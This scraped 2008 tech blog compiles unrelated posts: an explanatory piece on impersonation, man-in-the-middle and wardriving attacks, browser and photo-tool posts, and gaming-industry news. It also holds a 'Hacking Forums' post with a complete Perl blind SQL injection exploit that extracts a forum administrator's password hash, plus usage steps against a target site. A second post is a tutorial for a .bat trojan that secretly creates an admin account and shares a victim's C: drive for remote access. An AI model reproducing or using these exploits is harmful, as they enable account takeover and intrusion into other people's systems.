Impersonation is the next step for a hacker to take if the hacker still doesn't have access to your network computers. The goal of a hacker is to penetrate your network security and get at the information or resources on the computers in your network. These attacks are a lot harder and a lot rarer than protocol exploitation attacks. These attacks are used when a specific target is the goal, rather than when the desired outcome is the random mayhem caused by protocol exploits.

Merely snooping on your network traffic may give the hacker enough information to log on to your network. If that does not work, the hacker may reduce the functionality of your network via a denial-of-service attack, causing computers on your network to reveal enough information to allow the hacker to break in. The hacker might also pursue a denial-of-service attack just to inconvenience users of your network. Ultimately, you may not be susceptible to any well-known protocol exploitation attacks. By impersonating another computer that the computers on your network trust, the hacker's computer may be able to trick your computers into revealing enough information for the hacker to get through your network security. Alternatively, by impersonating another computer, the hacker's computer may be able to trick one of your computers into executing a command that weakens your security enough to let the hacker in. The tactics a hacker may use depend on the computer or service that the hacker is attempting to impersonate, which include the following:

* Source routed attacks
* DHCP, WINS, and DNS service impersonation
* Password playback, server impersonation, and password capture

Source Routed Attacks
The TCP/IP protocol suite includes a little-used option for specifying the exact route a packet should take as it crosses a TCP/IP-based network (such as the Internet). This option is called source routing, and it allows a hacker to send data from one computer and make it look like it came from another (usually more trusted) computer. Source routing is a useful tool for diagnosing network failures and circumventing network problems, but hackers too easily exploit it and so you should not use it in your TCP/IP network. Configure your firewalls to drop all source-routed TCP/IP packets from the Internet.

The hacker can use source routing to impersonate an already connected user and inject additional information into an otherwise benign communication between a server and the authorized client computer. For example, a hacker might detect that an administrator has telnetted onto a server from a client computer. If that administrator is at a command prompt, the hacker could inject a packet into the communications stream would appear to come from the administrator and would tell the server to execute the change password command thereby locking the administrator account and letting the hacker in.

The hacker also might use source routing to impersonate a trusted external DNS server and send DNS updates to your DNS server. This redirects all of the network clients that rely on the DNS server to translate Internet names into IP addresses, so that the client computers go instead to a hostile server under the control of the hacker. The hacker could then use the hostile server to capture passwords

DHCP, WINS, and DNS Service Impersonation
Another tactic a hacker can use to penetrate your network is to impersonate a service that your client computers get configuration information from at boot time. Network clients can be set up toget their configuration (including the location of the default gateway, DNS, and WINS servers) from a DHCP server, so a hacker who can impersonate a DHCP server can redirect your network clients to talk to almost any hostile host. By impersonating a WINS server, the hacker can return invalid or hostile IP addresses for NetBIOS computer names. By impersonating a DNS server, the hacker can return invalid or hostile IP addresses for Internet names as well.

In order for a hacker to impersonate a DHCP, WINS, or DNS server, the hacker must get control of one computer within your network and then initiate a denial-of-service attack against the legitimate DHCP, WINS, or DNS target computer. Once the target computer goes down, the computer controlled by the hacker can begin satisfying DHCP, WINS, or DNS requests in its place. This is just one way that a hacker can use one compromised computer in your network to penetrate your network security further and gain control of other computers in your network.

A DHCP, WINS, or DNS impersonation attack on your network relies on other attack methods to succeed. The hacker must first gather information about your network in order to identify targets, and then cause a denial of service on the service being impersonated. After that succeeds, the hacker must either gain control of at least one computer in your network that will be used to take the place of the server being impersonated, or redirect network traffic to an external computer that can take the place of the server being impersonated. The defensive measures you put in place to stop denial-of-service attacks and to restrict information about your network will help prevent an impersonation attack as well. You should also watch your network traffic for DHCP, WINS, or DNS services being hosted by unauthorized computers in your network, and you should take swift action to shut down any unauthorized servers.

Server Impersonation, Password Capture, and Password Playback
If the hacker has observed an encrypted logon session to one of your computers, they may not know the username and password being used to log on but might be able to fool your system anyway. The hacker might simply record the encrypted logon credentials and send those same credentials to your computer later. It won't matter that the hacker can't discern what the password is, because the receiving computer expects it in encrypted form anyway.

Older networking protocols are vulnerable to this sort of attack. This attack can be defeated by using challenge and response authentication for passwords or by "salting" the password with the current system time so that it can't be decrypted beyond a minute (or whatever the allotted time resolution is) from the original encryption time. Of course, that requires perfectly synchronized clocks, which requires the Network Time Protocol, which is subject to exploitation.

With challenge and response authentication, the password is never transmitted. Rather, the client indicates that she would like to log on. The server transmits a unique number to the client. Both computers encrypt that number using the client's password as a key. The client transmits the encrypted number back to the server. If the encrypted results match, then the same key was usedto perform the encryption and the server knows that the client knows the correct password. By encrypting a random number, the results will be different each time, making it impossible to derive the password used to encrypt it through mechanisms like snooping.

Windows and most modern versions of Unix use this sort of password encryption and authentication by default for NetBIOS connections from network client computers. Unfortunately, Windows also supports an older LAN Manager Authentication protocol. Networking clients may elect to use an older protocol if they inform a Windows server that they do not support the Windows NT Challenge/Response protocol. Hackers can exploit Windows support for this weaker protocol against newer computers by forging a response packet that appears to come from the server (using source routing, rerouting, or a man-in-the-middle position) and that instructs the modern client to use the weaker LAN Manager protocol. This way, the hacker can make the client use an easily cracked password encryption method or even instruct the client not to use password encryption at all. The hacker can then eavesdrop on the resulting logon traffic and capture the password used by the client to log on to the server. The best solution to this security problem is to configure your Windows computers not to accept LAN Manager Authentication.

Many older UNIX protocols, like Telnet, also don't make use of challenge and response authentication. Hackers can simply sniff these passwords off the network. E-mail clients like POP3 and IMAP, as well as Basic AUTH, transmit the user's password in plain text, so users who check e-mail accounts over the Internet are susceptible to having their passwords sniffed as well. If those passwords are the same as their network accounts, their account information is compromised.

Man-in-the-Middle
A special case of the impersonation attack is the man-in-the-middle attack, where the hacker operates between two computers on your network, or between a client computer on the Internet or other WAN network and your server computer in your secure LAN. When the client computer opens a connection to the server computer, the hacker's computer intercepts it (perhaps via a DNS or DHCP impersonation attack or by rerouting the IP traffic from the client to a compromised computer). The hacker computer opens a connection on behalf of the client computer to the server computer. Ideally (from the hacker's point of view), the client will think he is communicating with the server, the server will think it is communicating with the client, and the hacker computer in the middle will be able to observe and alter all of the communications between them.

Depending on the nature of the communications, the hacker computer may be able to use a man-in-the-middle attack to gain greater access to your network. For example, if the connection is an administrator-level Telnet session into a server computer from a client computer, the hacker computer in the middle could (after passing through the logon credentials to gain entry to the server) download the password file from the server to the hacker computer, instead of uploading HTML pages that the administrator may wish to place on the server computer.

On an insecure network such as the Internet, it is difficult to defend against a man-in-the-middle attack. Fortunately, a successful man-in-the-middle attack is also difficult to construct. The measures you take to protect your network against data gathering, denial-of-service, andimpersonation will help protect you from a man-in-the-middle attack. Nevertheless, you should never connect to your network using an administrative account over an insecure network.

Hijacking
One last hacker trick is the hijacking of an already established and authenticated networking connection. This can occur at two layers of the networking protocol at the TCP connection layer and at the SMB or NFS Session layer. In order for a hacker on the Internet to hijack a network share connection, the hacker will have to do both, because SMB uses TCP ports to make the connection.

In order to hijack an existing TCP connection, a hacker must be able to predict TCP sequence numbers, which the two communicating computers use to keep IP packets in order and to ensure that they all arrive at the destination. The hacker must also be able to redirect the TCP/IP connection to the hacker computer, and also launch a denial-of-service attack against the client computer so that the client computer does not indicate to the server that something is wrong. In order to hijack an SMB session (such as a drive mapping to a file share), the hacker must also be able to predict the correct NetBIOS Frame ID, Tree ID, and the correct user ID at the server level of an existing NetBIOS communications link

Wireless Scanning Wardriving / Warchalking
Wireless scanning is a method to find an available wireless network access point. It allows you to identify wireless networks through the use of WNIC (wireless network interface card) running in promiscuous mode and a software that will probe for access points. Once an open wireless access point is found, the wardriver usually maps it, so at the end he would have a map of access points with their properties (SSID, WEP, MAC etc.). Whenever the attacker wants to return into the network, he/she usually logs packets for later analysis, or to run them though a WEP key cracker when a weak key is being used. There are many different types of wireless scanning. The most known and used scanning method is Wardriving, next comes Warchalking. There are many other methods such as Warstrolling, Warflying etc., however this articles deals with Wardriving and Warchalking only.

Why War?
The term war, which is used in Wardriving, Warchalking etc., was taken from the old days of WarDialing. WarDialing, the hacking practice of phoning up every extension of a phone network until the number associated with a modem is hit upon, has been replaced by WarDriving with the introduction of wireless LANS.

WarDriving Lets take a drive
Wardriving is the first and well known method used to find available wireless networks (means unsecured). It is usually done with a mobile device such as a laptop or iPaq. Wardriving scanning is accomplished in an easy way: the attacker takes the device with him/her into a car, and detects networks (NetStumbler for Windows, BSD-AriTools for BSD, and airsnort for Linux). Once an open access point is detected, the attacker maps it, explores, or stumbles into a pipe to the internet.

The equipment necessary to WarDrive is: A wireless network interface card (PCMCIA), a device capable of locating itself on a map (GPS, not always necessary), a laptop or any other mobile device, Linux Red Hat or Debian (Windows is not recommended), Wireless tools (WEPCrack, AirSnort etc.)

The equipment is all off the shelf and pretty inexpensive.

WarChalking The hobo language

Now a new "language" is developing, WarChalking. The idea is based on the "hobo symbols" and is there to tell persons on the street where there is an open wireless network node, and what the settings are. It may look like incomprehensible squiggles, and most people would walk past thinking it is odd graffiti, but it conveys a lot of info that is understood by the hackers. Furthermore, it is now being adopted by those that are sharing networks voluntarily as a way to give the info out to the community." Zig

WarChalking was conceived by a group of friends in June 2002, and published by Matt Jones.

WarChalking is simply drawing a chalk symbol on a wall or pavement to indicate the presence of a wireless network, so that other can easily notice it and the details about it. WarChalking is a the modern version of the hobo sign language, which was used by low-tech kings of the road to alert each other to shelter, food and potential trouble. The chalks symbols are nothing more than giving a visual cue to of a wireless network.

The following are the WarChalking symbols:

Symbol Key
SSID Open Node )(
Bandwidth
SSID Closed Node ()
WEP Node SSID Access Contact ( W )
Bandwidth
Example for a WarChalking symbol:
Retina )( 1.5

This symbol indicates a open node with SSID Retina and bandwidth equal to 1.5MBps.
With the use of these symbols, wardrivers can a lot about the node, and whether this is a worth network. Anyone initiated in the ways of WarChalking will recognize what it means, and get online.

Securing WLANs
Securing a wireless network is much simpler than securing a wired network. Building a secure wireless network can be done within few steps. So, you ask yourself why then its easy to break into a wireless network? the answer is very simple. Whenever a company wants to connect their employees wirelessly into the company network, the administrators often forget to change the default settings of a router, firewall, access point, enabling WEP and more.

Further more, far too many systems administrators forget that the wireless network extends beyond the walls of a building. There may be security guards at the door, and firewalls on the fixed cable network, but the wireless back door is wide open.

The Wireless network security issues are not discussed in this article. WLANs security issues were discussed in my previous article Wireless Security & Hacking.

Links & Sources

* http://www.wifimaps.com - Map server listing wireless access points.

* http://www.kraftvoll.at/software/index.shtml - GPS driving software for Linux.

* http://www.kismetwireless.net - Wireless console bases sniffer. It supports GPS and has a lot of features.

* http://airsnort.shmoo.com - Wireless GUI sniffer for breaking WEP keys.

* http://tp.cs.pdx.edu/pub/mobile - FreeBSD WScan

* http://www.blackbeltjones.com/warchalking/warchalking0_9.pdf - WarChalking Symbols

* http://wepcrack.sourceforge.net - WEPCrack Linux

* http://www.blackalchemy.to/Projects/fakeap/fake-ap.html - Fake AP - Linux

* http://prismstumbler.sourceforge.net/ - PrismStumbler Linux

* http://www.techm.com/font2.html - Hobo Symbol Type Font

Hacking Forums

2008-09-24T18:07:00.000+05:30

First of all, what you guyz need is a forum to hack. Once you got the forum the next step is to find the user we want to hack. In common sense i can say that u want to hack the admin . The administrator is usually the first member of the forum, therefore his/her User ID will be "1". Find the User ID of the administrator, or person you wish to hack. For this tutorial, let's say his/her ID is "3".

Now you are almost all set to go bcz you guyz know the site u wish to hack, and the member/administrator you wish to hack. For e.g "you are hacking the administrator of "http://www.xxxxxxxx.com", which is User ID "3".

Now before dreams come true u need a nice exploit. U can use this one given below ( preferably, for 1.3.1 forums)

#!/usr/bin/perl -w
##################################################################
# This expoit works fine. Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Hacker"
##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "..By Hacker. Usage: ipb.pl http://forums.site.org [id] [ver 1/2].

";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current
";
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!
"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

# Hacker

#For using the above perl script u need an activeperl. You can get it from here if u didn't hv the one and install it: -
http://shorl.com/gakadupofugo

#Now u hv perl installed in ur system. Open your Notepad -> copy the above perl script and paste it there -> save it as ipb.pl

#Now go to C:perlin and paste your ipb.pl file there.

#Now u r almost done.

#Open your Command prompt(start->run->cmd->hit enter)

#Now change your directory to perl by typing cd C:Perlin in ur command prompt

#Now u r in perl's bin directory. Now all u need to do is to access the ipb.pl file that u saved in bin directory

#For this type the command : -perl ipb.pl

#Now your exploit is executed. Let's celebrate

Now it's time to tell u how to use it.

#I think u guys remember that u r hacking site User ID "3" who is the administrator of site "http://www.xxxxxxxx.com"

#Go to your command prompt (run->cmd) and type this into ur command prompt : -

ipb.pl http://www.xxxxxxxx.com/ 3 1

#It may takes some time as the exploit gathers the information and grab the "hash"

#Don't close the programme if it takes some time bcz this is the finalisation phase which gives u the way to access the forum with admin privilages.

#Once the hash grabbing is complete, u r returned with full hash and UserID

#Now once u got the hash For e.g 8476t3f6534ty3bt6k6g6f4fj3jb1h0m

#Don't confuse with these numbers, it's useless unless u know how to use it.

#This is nothing but the admin's password encrypted by using theMD5 hash algorithm

#I think most of u heard that MD5 hash is impossible to crack. MD5s are impossible to reverse "once a string is MD5ed, there is no way to get it back to plain-text"

#It is IMPOSSIBLE to decrypt an MD5 hash. But.. It is NOT impossible to CRACK an MD5 hash (as i already cracked MD5 hash, so it's not impossible)

#You can use any method, and any crackers to crack this hash

#Once you r done i.e u hv cracked the hash, you will be given a plain-text password (which is your gateway to enter the forum)

see also Virus coding Tutorial

Making your own trojan in a .bat file

2008-09-24T17:56:00.000+05:30

Making your own trojan in a .bat file

Open a dos prompt we will only need a dos prompt , and windows xp...

-Bazics-

Opening a dos prompt -> Go to start and then execute and write
cmd and press ok

Now insert this command: net
And you will get something like this

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:

dir
pause

And now save this as test.bat and execute it.
Funny aint it ?

---------------------- Starting -------------------
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know wich version of windows xp you are going to try share.

Command n 3->net share system=C: /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

-----------------------: Client :----------------
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use victimip neo

This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.

Command n 2-> explorer victimipsystem

And this will open a explorer windows in the share system wich is
the C: drive with administrators access!

source:naviarora.blogspot.com

Tips for Unblocking Blog Bans

2008-09-23T14:27:00.000+05:30

After the bans on blogspot, typepad ,geocities etc. , many people came up with innovative ideas to unblock the baned domains.One most usefull idea is to use a different proxy. And if u want to browse any blogspot blogs, use Pkblogs which was created actually during the ban on blogspot in pakistan.We can use it only for blogspot domains.Some other techniques to overcome the ban are :

Approach 1

Google, Yahoo, WorldLingo and Altavista Babelfish provide free online language translation tools that let you convert webpages from one language to another.

The trick is to instruct the translation tool to translate a given webpage URL from English to English (or any other language pair like Arabic to Arabic)

By doing so, you get to see the exact blocked webpage on your computer served from the translation service server bypassing the government internet filter - all the page formatting, javascripts, hyperlinks, comments, Google ads and other layout elements are preserved.

babelfish.altavista.com/babelfish/trurl_pagecontent?lp=en_en&url=XYZ.COM

Click the above URL to see this trick in action. If the page you are viewing is in a different language, replace the en_en pair with the corresponding pair like de_de for German or it_it for Italian. XYZ.com must be replaced with your URL that’s blocked.

This translation trick works only with Altavista Babelfish and not with Google or Yahoo babelfish even though the underlying Systran technology is the same.

Approach 2

The following approach may be used when you visit the website several times in a day like a Blog or a News site. What we do here is add the webpage to our watchlist and doing so, we automatically receive an update when the contents of the page changes (like some new content is added or exiting content is updated) -

Watch this Page for Changes - Enter the webpage URL and your email address - you will be notified daily of the changes.

I recommend this approach for reading sites like Indian Uncut, Lifehacker or Boing Boing where all the recently published stories are available on the homepage.

Approach 3

Use the following approach when you need an exact replica of the online story in print for your PhD thesis or for pasting in the scrapbook.

Adobe Create PDF Online - Create a free account at Adobe website and provide the URL address that you wish to convert. This service will create a nice PDF of the webpage and send that you as an attachment in an email.

Approach 4

You can setup a proxy on ur firefox. Google for annonymous proxies and select one.Go to tools>options>connection settings and select manual proxy. Enter the values and accept. If a particular proxy fails, use another one. Repeat until u get a stable and reasonably fast proxy and then stick to it. Here is a list of free proxies from samair

Approach 4

SwitchProxy lets you manage and switch between multiple proxy configurations
quickly and easily. You can also use it as an anonymizer to protect your
computer from prying eyes. NOTE: In Firefox you can use the toolbar
element to save space get it from Here

But all these methods are not enough.We need Indian Govt to unblock these domains which i hope they will do within a week after they sort out what they want. Until then use these methods..

Error While Installing : Installer User Interface Mode Not Supported

2008-09-23T14:22:00.000+05:30

A fix for ” Installer User Interface Mode Not Supported - Unable to load and to prepare the installer in GUI mode. “ error which shows up on installing certain applications like Zend Studio.

Actually this error is due to a bug in the installer. It occurs only if your windows user name contains certain characters like ‘!’ or ‘*’ . A simple way is to create another user account with normal user id without any special characters and install from there. Or you can try renaming the existing user id with a normal name without special characters. If you are renaming the userid, it may requires a restart for the change to take place.

Picasa Web Albums - Face Recognition

2008-09-23T14:18:00.000+05:30

Google is super hot this week. After Google Chrome , its a revamped version of Picasa Web Albums with Name tags aided with Face Recognition. A new beta version of Picasa 3 is also out now.

Name Tags is a feature by which Picasa Web Album automatically scans our photos and identifies “Faces”in the photos.

To activate this, you need to specifically opt for this service.First click Try it! from the right side menu in My Photos Page. And click “Start Processing Photos”. You can also enable/disable this feature from the Settings Menu.Or if you failed to find these options, you can also start from here : Get Started with Name Tags.

Picasa Scanning for Faces

After you enable name tags, Picasa Web Albums will look for similar faces in your photo collection. This process will take some time to complete depending upon the number of photos/faces in photos in your album. My Picasa Web Album with around 440MB of photos showed near 1 hour to complete scanning. But it was finished within 30 Minutes.

After Picasa identifies all the faces in your photos, the job is now yours to tag them with Names. Picasa will displays a list of faces which ‘it’ thinks as of a same person. It works well as in most cases, Picasa tries to pick up correctlty.

We have to type in name, and if the contact is in our Gmail Address book , details will be shown like email id and nick name.But some times, Picasa tries to group wrong faces as in this example,

Picasa Grouping wrong faces

Here, we have to uncheck the wrong ones and continue tagging.

Sometimes, if Picasa thinks that the group of faces listed is of the same one we have already tagged, it will displays it as a suggestion.

Picasa Web Album : Suggestions

Clicking on it will tag it with the same name. The Choose button is for selecting names from our gmail Address Book.

In my case, picasa identified around 2000 Faces! Thats from some 1000 photos. Tagging all is a tiring process. But anyway , new photos added to the album will be tagged with existing Name tags or we can add more. So in long run , it will be a good idea to keep all your photos tagged.

Google have any plan to produce people search results from Picasa Name Tags? We have to wait and see.

Google Chrome v/s Mozilla FireFox - Comparing Web 2.0 Performance

2008-09-23T14:10:00.000+05:30

Keeping all the calculations and theory away, lets make a raw attempt to compare the speed of Google Chrome and Firefox in Web 2.0 applications like Gmail. Lets see how fast is fast enough to say faster.

The scene set for the test is a Google Mail App, similar to Gmail. Preference is given to firefox always by making clicks first on Firefox window. Right from the loading time of the browser itself, Chrome outrides Firefox by miles. Check the video below to see the action.

Results :

Application Load Time :

Mozilla Firefox : 4 secs

Google Chrome : 1 sec

Google Mail Load Time :

Mozilla Firefox : 11 secs

Google Chrome : 7 secs

Compose Mail Load Time :

Mozilla Firefox : 9 secs

Google Chrome : <> sec

I really liked the performance of Chrome, though first Security Flaw in Chrome is already out. But I am not yet ready to use Chrome as my primary Browser.

* Chrome could not handle Facebook,and some Open Social Applications in Orkut.

* I live on addons like ABP and greasemonkey.

* I am addicted to Google Toolbar.

* Limitations in RSS/Atom Feed suscriptions.

But Chrome is still a beta! If we can trust the words of google , that they believe in frequent updates, a feature rich Chrome will be out soon.

Google Chrome : Keyboard Shortcuts

2008-09-23T14:05:00.000+05:30

Google Chrome have some handy keyboard shortcuts as any other main stream browsers. Most of the functions which are not available through the menu , is possible through Keyboard shortcuts. In my last post about Google Chrome Review , I complained about the lack of undo close tab feature in Chrome. But though its not visible ( a couple of last tabs will be listed if you open a new tab) in the menu, we can open closed tabs back again using the keyboard shortcut Ctrl+Shift+T. Google chrome supports upto 10 previously closed tabs.

Similarly to switch between tabs we all use Ctrl+Tab. Ctrl+PgDown also performs the same fucntion, To switch in the reverse order,Ctrl+Shift+Tab or Ctrl+PgUp can be used. Ctrl++ and Ctrl– lets you play with the font size.

The complete list of keyboard shortcuts is given below.

Ctrl+N	Open a new window
Ctrl+Shift+N	Open a new window in incognito mode
Press Ctrl, and click a link	Open link in a new tab
Press Shift, and click a link	Open link in a new window
Alt+F4	Close current window
Ctrl+T	Open a new tab
Ctrl+Shift+T	Reopen the last tab you’ve closed. Google Chrome remembers the last 10 tabs you’ve closed.
Drag link to tab	Open link in specified tab
Drag link to space between tabs	Open link in a new tab in the specified position on the tab strip
Ctrl+1 throughCtrl+8	Switch to the tab at the specified position number. The number you press represents a position on the tab strip.
Ctrl+9	Switch to the last tab
Ctrl+Tab orCtrl+PgDown	Switch to the next tab
Ctrl+Shift+Tab orCtrl+PgUp	Switch to the previous tab
Ctrl+W or Ctrl+F4	Close current tab or pop-up
Alt+Home	Open your homepage
Ctrl+O, then select file	Open a file from your computer in Google Chrome

Address bar shortcuts

Do one of the following actions in the address bar:

Type a search term	Perform a search using your default search engine
Type the part of the web address that’s between ‘www.’ and ‘.com’, then press Ctrl+Enter	Add www.and .com to your input in the address bar and open the web address
Type a search engine keyword or URL, pressTab, then type a search term	Perform a search using the search engine associated with the keyword or the URL. Google Chrome prompts you to press Tab if it recognizes the search engine you’re trying to use.
F6 or Ctrl+L or Alt+D	Highlight content in the web address area
Type a web address, then press Alt+Enter	Open your web address in a new tab

Shortcuts to open Google Chrome features

Ctrl+B	Toggle bookmarks bar on and off
Ctrl+H	View the History page
Ctrl+J	View the Downloads page
Shift+Escape	View the Task manager

Webpage shortcuts

Ctrl+P	Print your current page
F5	Reload current page
Esc	Stop page loading
Ctrl+F5 or Shift+F5	Reload current page, ignoring cached content
Press Alt, and click a link	Download link
Ctrl+F	Open find-in-page box
Ctrl+G or F3	Find next match for your input in the find-in-page box
Ctrl+Shift+G or Shift+F3	Find previous match for your input in the find-in-page box
Ctrl+U	View source
Drag link to bookmarks bar	Bookmark the link
Ctrl+D	Bookmark your current webpage
Ctrl++	Make text larger
Ctrl+-	Make text smaller
Ctrl+0	Return to normal text size

Text shortcuts

Highlight content, then press Ctrl+C	Copy content to the clipboard
Place your cursor in a text field, then pressCtrl+V or Shift+Insert	Paste current content from the clipboard
Place your cursor in a text field, then pressCtrl+Shift+V	Paste current content from the clipboard without formatting
Highlight content in a text field, then pressCtrl+X or Shift+Delete	Delete the content and copy it to the clipboard

Backspace, or press Alt and the left arrow together	Go to the previous page in your browsing history for the tab
Shift+Backspace, or press Altand the right arrow together	Go to the next page in your browsing history for the tab
Ctrl+K or Ctrl+E	Places a ‘?’ in the address bar. Type a search term after the ‘?’ to perform a search using your default search engine.
Place your cursor in the address bar, then press Ctrl and the left arrow together	Jump to the previous word in the address bar
Place your cursor in the address bar, then press Ctrl and the right arrow together	Jump to the next word in the address bar
Place your cursor in the address bar, then press Ctrl+Backspace	Delete the previous word in the address bar
Space bar	Scroll down the web page
Home	Go to the top of the page
End	Go to the bottom of the page

Zapak to represent Indian online gaming inds

2008-09-22T02:18:00.000+05:30

Zapak Digital Entertainment Ltd. has been invited to represent Indian online gaming industry at Casual Connect which is a component of the Casual Games Association, the international trade association for casual games professionals. Zapak will be the first ever Indian representative for the casual gaming industry at the Conference.

The event will take place from October 22-24, 2008 in Kyiv, Ukraine. This conference is a platform for everyone to explore and understand the areas in the casual gaming space with high growth potential for those looking to expand or create a new enterprise in the casual gaming space.

Casual Games Association Events are the premiere events for the casual games industry with over 3,000 professionals attending Casual Connect Events each year. Casual Connect Kyiv brings together the most talented and knowledgeable experts in the casual gaming field to further the casual games industry with the best of networking and learning. Leaders in the casual games space reflect upon the industry with lectures, discussions and naturally it is also an important venue for business relationships.

The other global gaming companies who will be a part of this conference are Big Fish games, Real Games, Alawar entertainment, Absolutist and more.

Rohit Sharma, COO, Zapak Digital Entertainment said, “I am honoured that Zapak has got an opportunity to represent India on the casual gaming front. I am proud to announce our partnership with Casual Connect. Zapak’s association with world class conference at the highest level underlines Zapak’s growth as one of the world’s largest Online Casual games Publisher in the world– Casual Connect will help India get more exposure and recognition on the world map of Casual Gaming.”

Luke Burtis, Production Director, Casual Connect Association said, “The Casual Games Association is thrilled to have Zapak, one of the leading Casual Game companies in India, participate at Casual Connect Kyiv 2008! We hope that Zapak’s drive and success into other markets will encourage other Indian companies to do the same and further grow the casual games industry”

Zapak will be announcing the launch of “ZapakWorld.com” at this event. ZapakWorld is Zapak’s offering to the International Online Casual Games Market – At launch “ZapakWorld.com” will be one of the world’s largest gaming portals with over 12,000 casual games is targeted at gamers and developers globally. ZapakWorld is also the Platinum sponsor for Casual Connect. This is the first time that an Indian Company has sponsored the Casual Connect as a Platinum Sponsor.

Sourced From: Zapak Digital Entertainment Ltd

Updated: Sony Denies Zapak Buying SOE

2008-09-21T09:21:00.000+05:30

Updated: So much for this, and as we said below, our sources also denied a deal: Sony (NYSE: SNE) is denying any such sale: “Sony Online Entertainment is not for sale and the report that Zapak is purchasing Sony Online Entertainment is completely erroneous and false,” a company spokesperson for San Diego-based Sony Online told Reuters.

Original post: This, of all the pnewlaces, in Sunday ET: Zapak, the online gaming portal from the Reliance ADA Group is reportedly set to buy out online gaming company Sony Online Entertainment (SOE) for around $300 million (Rs. 1200 crores). The report claims that the deal will be finalized within the next few days. The deal will give Zapak rights to all the content from Sony Online. The story claims that Sony Online Entertainment, which has some big online games such as Everquest, PlanetSide, Star War Galaxies and Vanguard, has revenues of around $150 million. So the buying price is just two times revenues? Zapak had planned to spend $100 million over three years, so this is a substantial jump in the outlay.

Zapak aims to reduce the content and marketing cost of publishing side by relocating the studios to India, the story says. “This will reduce the cost drastically from $30 million to $10 million, which will give us the advantage to channelise our funds towards marketing and other activities,” an official quoted in the story said.

I’ve been trying to contact execs in Zapak for some confirmation on this for a while now, but haven’t been able to get through. Some of our high level sources say that this deal isn’t happening ("No way")...but we’re still trying to find out. More when we have more on this.

News in 2006 : zapak.com arrives on the Indian gaming scene

2008-09-19T20:39:00.000+05:30

The Anil Dhirubhani Ambani Group or ADAG is ready to play! The company has launched its online gaming venture - zapak.com and hopes to make it a billion dollar venture in three years.

When Rajesh Sahaweny pitched an online gaming business plan to Anil Ambani, he was told to get on with his gaming - and that's the punchline for zapak.com. The company currently offers 150 games and will double its gaming bouquet in a month's time. Zapak will see a three-phase rollout, gaming cafes and even a centre to develop gaming content.

President, Reliance Entertainment, Rajesh Sawhney told CNBC-TV18, "We are going to have a team of 200, who will be developing massively multiplayer online games, MMOG, localizing it and releasing it in 2008. There have been requests for joint ventures and it makes sense to collaborate, so we are looking at all options."

ADAG will invest over $100 million in zapak over the next three years and hopes to touch the billion dollar mark in value terms over the same period. Revenues will be a mix of advertising, subscription and transaction or e-commerce.

Zapak is also in talks with various youth oriented brands to develop adver-gaming, thats advertising bundled in gaming content. The company is targeting a community of atleast 10 million users by the end of next year.

Though right now its games are designed around sports and bollywood, zapak will soon focus on mythology and action. It will also offer an option of downloading international games at attractive Indian prices. This is clearly the sunrise for the online gaming industry in India. You can start playing immediately by visiting zapak.com, as these games do not require any installation of programmes, so no CDs, no requirements for memory space on the computer. Just log in to Zapak.com and play this game for free against anyone in the world immediately.

“Today we have launched the world’s first full-feature online multiplayer cricket game. Cricket is our big ticket offering to the online fraternity with which we intend to make a mark for Indian games even in the International fraternity,” said Rajesh.

HIGHLIGHTS OF THE CRICKET GAME
· Play against Human opponents
· Toss Feature
· Set your own field
· Play in different Weather conditions
· Variety of bowling techniques
· Normal book strokes and innovative strokes
· Strokes mapped from real cricketers
· 5/10/15 over matches playable
· Team selection - All cricketing test playing nations with AI based on their actual standing
· Record of Wins
· In-game bowling/batting Statistics Display

Check the gaming site at http://zapak.com/

How to Make Tattoo Nickname in Yahoo Messenger

2008-09-19T17:58:00.000+05:30

What is Tattoo?

